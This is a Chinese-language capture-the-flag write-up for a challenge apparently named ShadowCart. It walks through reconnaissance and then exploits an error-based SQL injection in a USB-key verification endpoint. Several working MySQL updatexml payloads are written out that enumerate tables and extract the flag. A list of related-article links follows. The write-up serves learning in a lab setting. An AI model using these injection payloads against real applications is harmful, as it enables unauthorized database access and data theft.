【SQL注入】 ShadowCart

先进行信息收集。

搜索框输入1。

搜索框输入单引号。

点击库存后发现有个可以修改的参数。

测试后发现范围为1-101。

点击分类后发现/category下的<名>,随便改一个。

白名单限制,不符合白名单404。

查看comment.js后发现有四个api接口。

总结:

候选点 测试现象 结论
搜索 /search?q= 加单引号只返回 "0 条",不报错 引号被转义 / 参数化,字符串型注不进
库存 /api/product/?id= 101-1 id 被强制转整数,非数字归零
分类 /category/<名> 非白名单名一律 404 分类名走白名单,拼不进 SQL
common.js 4 个 POST 接口 名字叫 postNoise(噪声),纯干扰

明面没有,攻击面可能会藏在 JS 里。

在商品页里除了常见的 jquery/common/mall,还有一个名字不同的 satellite-runtime.js,打开一看是混淆代码。

如何判断是混淆代码?当一个 JS 里 "看不到正常英文单词 / URL,却有大量数字数组,并且数字被某个函数包起来 ",基本就是用 String.fromCharCode 把字符串拆成 ASCII 数字藏起来了。文件开头那行 var _k=['fromCharCode','createElement','src',...] 更是直接 "自报家门"------ 它连函数名都拆了。

经过测试后发现除了最后一个接口,其余都访问失败。

接下来我们对 /api/auth/usbkey/verify 发 POST。

因为有keycode和pin,所以我们用这两个进行传参,先用1进行测试。

用单引号进行测试。

有报错,可以使用报错注入。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,database()),1)-- -&pin=1 

直接查只有三个表,没有看到flag,猜测flag被隐藏在后面:

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)-- -&pin=1 

所以修改为:

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1)),1)-- -&pin=1

LIMIT 3, 1意思为先跳过前 3 行,然后只取 1 行 ------ 也就是结果里的第 4 行。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select group_concat(flag) from flags)),1)-- -&pin=1 

另一边用right解决。

sql 复制代码
keycode=1' and updatexml(1,concat(0x7e,(select right(flag,23) from flags)),1)-- -&pin=1 
相关推荐
泡海椒1 小时前
深度解析JQuick-SQL AST到逻辑计划转换机制|分布式SQL原理
数据库·分布式·sql
王仔小奶2 小时前
慢SQL治理与性能调优:DBA如何用Shell/Python提升运维效率?
python·sql·dba
泡海椒4 小时前
深度解析JQuick-SQL SQL解析与AST生成机制|分布式SQL原理
数据库·分布式·sql
悟道书生7 小时前
若依 RBAC 权限控制学习笔记
java·网络·笔记·sql·学习·vue
John_Hui10 小时前
MySQL基础知识
数据库·sql·mysql·1024程序员节
泡海椒10 小时前
深度解析JQuick-SQL 逻辑计划到物理计划生成机制|分布式SQL原理
数据库·分布式·sql
猫咪很可爱1 天前
MySQL 视图与只读用户:安全查询的完整实践指南
数据库·sql·mysql
三垣网安1 天前
某某大学心理健康教育平台弱口令及SQL注入漏洞
数据库·sql
泡海椒1 天前
JQuick-SQL “数据源 SPI”辨析:应用适配器与 Function SPI 的正确边界
数据库·驱动开发·sql
泡海椒1 天前
JQuick-SQL 逻辑数据仓库:以注册数据集构建轻量分析层
数据库·数据仓库·sql